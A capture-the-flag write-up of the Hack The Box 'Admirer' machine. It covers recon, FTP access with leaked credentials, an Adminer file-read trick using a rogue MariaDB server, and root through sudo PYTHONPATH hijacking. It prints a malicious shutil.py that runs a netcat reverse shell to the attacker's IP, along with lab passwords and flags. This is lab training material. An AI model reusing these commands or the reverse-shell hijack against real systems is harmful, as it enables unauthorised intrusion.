HTB Admirer Writeup

Writeup for HTB Admirer Box

Admirer Writeup

images/Untitled.png

we start the recon with a nmap scan to look for open ports and services running on them

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII=
|   256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

we find that there are three ports open 21 for ftp, 22 for ssh and 80 for apache web server. Opening the web server in a browser we get a static web page

images/Untitled%201.png

taking a look at robots.txt on the server we find a directory on the server as /admin-dir

images/Untitled%202.png

now running gobuster inside the admin-dir directory

┌──(codacker㉿kali)-[~/Workspace/HTB/boxes/Admirer]
└─$ gobuster dir -u http://10.10.10.187/admin-dir/ -w /usr/share/wordlists/dirb/common.txt -x txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.187/admin-dir/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt
[+] Timeout:        10s
===============================================================
2020/09/26 09:09:31 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/contacts.txt (Status: 200)
===============================================================
2020/09/26 09:10:37 Finished
===============================================================

vising /admin-dir/contacts.txt we find a list of emails.

images/Untitled%203.png

After some further enumeration we find another file in admin-dir as credentials.txt which contains a list of usernames and passwords

images/Untitled%204.png

now we can login to ftp using the username and password found and download the files.

┌──(codacker㉿kali)-[~/Workspace/HTB/boxes/Admirer]
└─$ ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:codacker): ftpuser
331 Please specify the password.
Password: %n?4Wz}R$tTF7
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (6.1269 MB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 10.76 secs (478.2503 kB/s)
ftp>

extracting html.tar.gz we find another directory on the web server as utility-scripts

┌──(codacker㉿kali)-[~/…/HTB/boxes/Admirer/ftp_dump]
└─$ find .                    
.                                   
./w4ld0s_s3cr3t_d1r
./w4ld0s_s3cr3t_d1r/contacts.txt
./w4ld0s_s3cr3t_d1r/credentials.txt
./utility-scripts                
./utility-scripts/db_admin.php     
./utility-scripts/admin_tasks.php   
./utility-scripts/phptest.php       
./utility-scripts/info.php
...

taking a look at db_admin.php

┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]
└─$ cat db_admin.php   
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";

  // TODO: Finish implementing this or find a better open source alternative
?>
                                                                                                                                                                      
┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]
└─$

we get a hint that an opensource database administration script might be being used on the server. Judging by the name of the box we can guess that it might be adminer.php hence visiting http://10.10.10.187/utility-scripts/adminer.php our theory is confirmed.

images/Untitled%205.png

now the version of adminer.php is 4.6.2 which is vulnerable to local file leak (https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool) and can be used to read files from the server. Now in order to login to adminer.php we can setup a simple mariadb server using docker

┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]      
└─$ sudo docker run -e MYSQL_ROOT_PASSWORD=root -p 3306:3306 mariadb
...
2020-09-26  4:32:37 0 [Note] InnoDB: Loading buffer pool(s) from /var/lib/mysql/ib_buffer_pool
2020-09-26  4:32:37 0 [Note] InnoDB: Buffer pool(s) load completed at 200926  4:32:37
2020-09-26  4:32:37 0 [Note] Server socket created on IP: '::'.
2020-09-26  4:32:37 0 [Warning] 'proxies_priv' entry '@% root@f04dbb2d3a7c' ignored in --skip-name-resolve mode.
2020-09-26  4:32:37 0 [Note] Reading of all Master_info entries succeeded
2020-09-26  4:32:37 0 [Note] Added new Master_info '' to hash table
2020-09-26  4:32:37 0 [Note] mysqld: ready for connections.
Version: '10.5.5-MariaDB-1:10.5.5+maria~focal'  socket: '/run/mysqld/mysqld.sock'  port: 3306  mariadb.org binary distribution

now we can login in adminer.php using the credentials root:root

images/Untitled%206.png

now we can read /var/www/html/index.php using the following sql command.

create schema lol;

use lol;

create table dmp(content varchar(5000));

load data local INFILE "/var/www/html/index.php" into table dmp lines terminated by "\n";

and the contents of index.php are saved into lol.dump table. There we find the password for the user waldo as &<h5b~yK3F#{PaPB&dA}{H>

images/Untitled%207.png

now we can login as user waldo over ssh and get user hash.

┌──(codacker㉿kali)-[~/…/boxes/Admirer/ftp_dump/utility-scripts]
└─$ ssh [email protected]
The authenticity of host '10.10.10.187 (10.10.10.187)' can't be established.
ECDSA key fingerprint is SHA256:NSIaytJ0GOq4AaLY0wPFdPsnuw/wBUt2SvaCdiFM8xI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.187' (ECDSA) to the list of known hosts.
[email protected]'s password: &<h5b~yK3F#{PaPB&dA}{H>
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
waldo@admirer:~$ cat user.txt
6e6293da081153c65360d71560bcc91f
waldo@admirer:~$

running sudo -l

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:~$

we find that the user waldo can run /opt/scripts/admin_tasks.sh as user root with all the environments kept intact.

#!/bin/bash

view_uptime()
{
    /usr/bin/uptime -p
}

view_users()
{
    /usr/bin/w
}

view_crontab()
{
    /usr/bin/crontab -l
}

backup_passwd()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
        /bin/cp /etc/passwd /var/backups/passwd.bak
        /bin/chown root:root /var/backups/passwd.bak
        /bin/chmod 600 /var/backups/passwd.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
    option=$1
    case $option in
        1) view_uptime ;;
        2) view_users ;;
        3) view_crontab ;;
        4) backup_passwd ;;
        5) backup_shadow ;;
        6) backup_web ;;
        7) backup_db ;;

        *) echo "Unknown option." >&2
    esac

    exit 0
fi

# Interactive way, to be called from the command line
options=("View system uptime"
         "View logged in users"
         "View crontab"
         "Backup passwd file"
         "Backup shadow file"
         "Backup web data"
         "Backup DB"
         "Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;

        *) echo "Unknown option." >&2
    esac
done

exit 0

which on selecting 6th option runs the script /opt/scripts/backup.py

 #!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

running python scripts as sudo can be exploited to get privilege escalation (https://rastating.github.io/privilege-escalation-via-python-library-hijacking/) as python prioritizes the import f$PYTHONPATH environment variable location rather than its libraries, now if we create a fake [shutil.py](http://shutil.py) in a directory /tmp/lol with our reverse shellcode as following

#!/usr/bin/env python
import os

def make_archive(a, b, c):
    print(a,b,c)
    os.system("nc 10.10.14.102 9001 -e /bin/bash")

and then run admin_tasks.sh with 6th option

waldo@admirer:/tmp/lol$ sudo -u root PYTHONPATH=/tmp/lol /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/lol$ /var/backups/html gztar /var/www/html/

we get a reverse shell as root back to us.

┌──(codacker㉿kali)-[~/Workspace/HTB/boxes/Admirer]
└─$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.102] from (UNKNOWN) [10.10.10.187] 56860
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
ebdfee8adaf558590f357887e7246619
Security Engineer

I am a passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development.

Related